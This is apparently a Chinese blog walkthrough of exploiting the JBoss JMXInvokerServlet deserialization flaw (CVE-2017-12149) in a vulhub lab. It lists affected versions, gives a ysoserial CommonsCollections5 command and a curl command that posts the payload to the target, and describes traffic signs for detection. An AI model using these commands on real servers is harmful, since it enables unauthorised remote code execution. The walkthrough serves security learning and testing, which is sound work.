当前位置: 首页 > news >正文

JBoss JMXInvokerServlet 反序列化漏洞

漏洞原理:

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。


影响版本:

  • JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
  • JBoss AS (Wildly) 6 and earlier
  • JBoss A-MQ 6.2.0
  • JBoss Fuse 6.2.0
  • JBoss SOA Platform (SOA-P) 5.3.1
  • JBoss Data Grid (JDG) 6.5.0
  • JBoss BRMS (BRMS) 6.1.0
  • JBoss BPMS (BPMS) 6.1.0
  • JBoss Data Virtualization (JDV) 6.1.0
  • JBoss Fuse Service Works (FSW) 6.0.0
  • JBoss Enterprise Web Server (EWS) 2.1,3

环境准备:

/vulhub/jboss/CVE-2017-12149

命令:docker compose up -d

靶机IP:10.168.10.129

攻击机:10.168.10.128

首次执行时会有1~3分钟时间初始化,初始化完成后访问http://your-ip:8080/即可看到JBoss默认页面。

漏洞利用:

访问 /invoker/JMXInvokerServlet 会出现下载文件的弹窗

说明接口开放,此接口存在反序列化漏洞

利用ysoserial,来生成payload,

下载链接:https://github.com/frohoff/ysoserial/releases

如果用kali生成payload报错可能是因为内置java版本过高,我是用wiindows下生成的(jdk8)

java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/testsuccess" >1.ser

生成1.ser可以拖进到ubuntu(攻击机)

发起攻击(同时用wireshark抓包):

curl http://10.168.10.129:8080/invoker/JMXInvokerServlet --data-binary @1.ser
 

攻击成功:

分析流量

响应头状态码为200,响应体存在关键字:ClassCastException

参考链接:

NucleiTP/CVES/critical/CVE-2017-12149.yaml at 19d2641e627c1e52f107821b9be2937eaf0989c8 · ExpLangcn/NucleiTP · GitHub

os:怎么现在CSDN的编辑做的跟shit一样,好难编辑啊

相关文章:

  • 算力时代,算能(SOPHGO)的算力芯片/智算板卡/服务器选型
  • Maven 构建过程
  • stm32——定时器级联
  • 新火种AI|AI搜索挑战百度谷歌,重塑信息检索的市场?
  • React@16.x(44)路由v5.x(9)源码(1)- path-to-regexp
  • mysql查询父级树
  • 【机器学习】FFmpeg+Whisper:二阶段法视频理解(video-to-text)大模型实战
  • linux下mysql的定时备份
  • 自动化设备上位机设计 一
  • 音视频入门基础:H.264专题(8)——H.264官方文档的描述符
  • 安装 Mamba、Conv1d 时报错 “bare_metal_version“
  • MySQL数据恢复(适用于误删后马上发现)
  • 软件测试面试题:Redis的五种数据结构,以及使用的场景是什么?
  • 【操作系统期末速成】 EP01 | 学习笔记(基于五道口一只鸭)
  • 【leetcode78-81贪心算法、技巧96-100】
  • [译] React v16.8: 含有Hooks的版本
  • 【EOS】Cleos基础
  • ECMAScript 6 学习之路 ( 四 ) String 字符串扩展
  • Javascript Math对象和Date对象常用方法详解
  • October CMS - 快速入门 9 Images And Galleries
  • php ci框架整合银盛支付
  • React Native移动开发实战-3-实现页面间的数据传递
  • SpiderData 2019年2月23日 DApp数据排行榜
  • VuePress 静态网站生成
  • 解析带emoji和链接的聊天系统消息
  • 码农张的Bug人生 - 见面之礼
  • 扫描识别控件Dynamic Web TWAIN v12.2发布,改进SSL证书
  • 思维导图—你不知道的JavaScript中卷
  • 通信类
  • 找一份好的前端工作,起点很重要
  • 智能合约Solidity教程-事件和日志(一)
  • d²y/dx²; 偏导数问题 请问f1 f2是什么意思
  • AI算硅基生命吗,为什么?
  • JavaScript 新语法详解:Class 的私有属性与私有方法 ...
  • ​草莓熊python turtle绘图代码(玫瑰花版)附源代码
  • #pragma once
  • #pragma once与条件编译
  • ( )的作用是将计算机中的信息传送给用户,计算机应用基础 吉大15春学期《计算机应用基础》在线作业二及答案...
  • ()、[]、{}、(())、[[]]命令替换
  • (附源码)spring boot网络空间安全实验教学示范中心网站 毕业设计 111454
  • (附源码)计算机毕业设计大学生兼职系统
  • (原創) 如何動態建立二維陣列(多維陣列)? (.NET) (C#)
  • (转)Spring4.2.5+Hibernate4.3.11+Struts1.3.8集成方案一
  • (状压dp)uva 10817 Headmaster's Headache
  • .desktop 桌面快捷_Linux桌面环境那么多,这几款优秀的任你选
  • .net core 6 使用注解自动注入实例,无需构造注入 autowrite4net
  • .net 反编译_.net反编译的相关问题
  • .NET 反射 Reflect
  • .NET6 开发一个检查某些状态持续多长时间的类
  • .net实现客户区延伸至至非客户区
  • :“Failed to access IIS metabase”解决方法
  • @DependsOn:解析 Spring 中的依赖关系之艺术
  • @Transaction注解失效的几种场景(附有示例代码)
  • [ 云计算 | Azure 实践 ] 在 Azure 门户中创建 VM 虚拟机并进行验证
  • [2016.7 day.5] T2